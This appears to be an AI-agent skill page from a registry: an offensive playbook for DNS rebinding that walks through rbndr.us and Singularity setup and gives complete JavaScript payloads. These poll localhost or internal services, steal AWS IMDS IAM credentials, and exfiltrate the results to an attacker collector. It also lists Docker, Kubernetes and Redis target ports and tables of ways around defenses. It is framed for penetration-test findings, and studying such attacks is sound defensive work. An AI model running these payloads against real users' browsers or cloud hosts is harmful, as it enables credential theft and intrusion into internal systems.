DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.
71
88%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
DNS rebinding lets an attacker-controlled page make the victim's browser
treat attacker.com as if it were 127.0.0.1 (or any internal IP).
The browser's same-origin policy checks the hostname, not the IP — so
after rebinding, the page's JS can read responses from the internal
service as if they were same-origin.
| Scenario | Viable? |
|---|---|
| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |
| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1: |
| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |
Server-side SSRF filter allows attacker.com | Yes — rebind to internal IP |
| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |
Victim visits http://attacker.com/payload.html. Browser resolves the
DNS name → gets the attacker's real public IP → same-origin allows
the page's JS to load and execute.
The attacker's DNS server returns a very short TTL (0–1 s). After TTL
expiry, a second DNS query returns 127.0.0.1 (or target internal IP).
The page's JS calls fetch("http://attacker.com/api/v1/secret").
The browser re-resolves attacker.com → gets 127.0.0.1 → sends
the request to the local service on the attacker's behalf, receives the
response, and exfiltrates it.
[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attackerPublic DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:
<hex-public-ip>.<hex-target-ip>.rbndr.usExample — rebind attacker.com from 1.2.3.4 to 127.0.0.1:
PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001" # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# → e.g. 01020304.7f000001.rbndr.usThe rbndr.us server alternates between the two IPs on each DNS request.
Set up your payload page at http://$REBIND_HOST:8080/.
git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html
# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)
docker run -it --rm \
-p 53:53/udp -p 8080:8080 \
nccgroup/singularity
# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victimMinimal JS to fetch once rebinding succeeds:
<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname; // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil = "https://<ATTACKER_COLLECTOR>/";
function tryFetch(attempt) {
fetch(target, {cache: "no-store"})
.then(r => r.text())
.then(body => {
// Got internal service response — exfiltrate
fetch(exfil + "?d=" + btoa(body).slice(0,1000));
})
.catch(err => {
// DNS hasn't flipped yet, retry
if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
});
}
setTimeout(() => tryFetch(0), 500); // give first TTL a moment to expire
</script>
</body>
</html>For IMDS specifically, AWS v1 and GCP do not require special headers from
the browser perspective — the only protection is Host header validation
(see §7). Azure IMDS requires Metadata: true header — inject via:
fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})Once the rebinding hits 169.254.169.254:
// AWS IMDSv1 — enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"})
.then(r => r.text())
.then(role => {
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"})
.then(r => r.text())
.then(creds => fetch(exfil + "?c=" + btoa(creds)));
});Extraction yields AccessKeyId, SecretAccessKey, Token — full
AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).
Many Electron apps serve a local HTTP or WebSocket server on
127.0.0.1:<PORT> without authentication, relying on same-origin for
isolation. DNS rebinding bypasses that entirely:
127.0.0.1:<port> using rbndr.usTarget ports by app:
| App | Default port |
|---|---|
| VS Code remote | 9229 |
| Docker Desktop API | 2375 |
| Kubernetes API | 6443 / 8001 |
| etcd | 2379 |
| Jupyter Notebook | 8888 |
| Kibana | 5601 |
| Redis | 6379 |
| Defense | Bypass |
|---|---|
Host header check (if Host != expected) | Try X-Forwarded-Host, X-Host, empty Host |
| DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab |
| Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it |
| IMDSv2 (token-required) | Browser can't set X-aws-ec2-metadata-token-ttl-seconds — v2 often blocks |
CORS Access-Control-Allow-Origin | CORS is about responses — rebinding bypasses by making origin == target |
Browser DNS cache TTLs:
To file a valid finding:
| Variant | CVSS vector | Score |
|---|---|---|
| DNS rebind → unauthenticated localhost service (DoS) | AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H | 5.3 |
| DNS rebind → internal API data leak | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N | 7.4 |
| DNS rebind → IMDSv1 IAM credentials | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |
| DNS rebind → Docker socket → RCE | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |
AC:H reflects the requirement for victim interaction (keeping the tab open during the TTL expiry window).
DNS rebinding is usually a delivery primitive — chain it:
enables edge to IMDS credential node (if IMDS pivot succeeded)enables edge to internal service vuln (if internal service is exploitable)requires edge from "victim interaction" precondition nodekg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot",
props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254",
"browser": "Chrome 124", "imds_role": "<ROLE_NAME>",
"exfil_method": "fetch to attacker callback",
"key": "dns-rebinding:imds-pivot"})0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.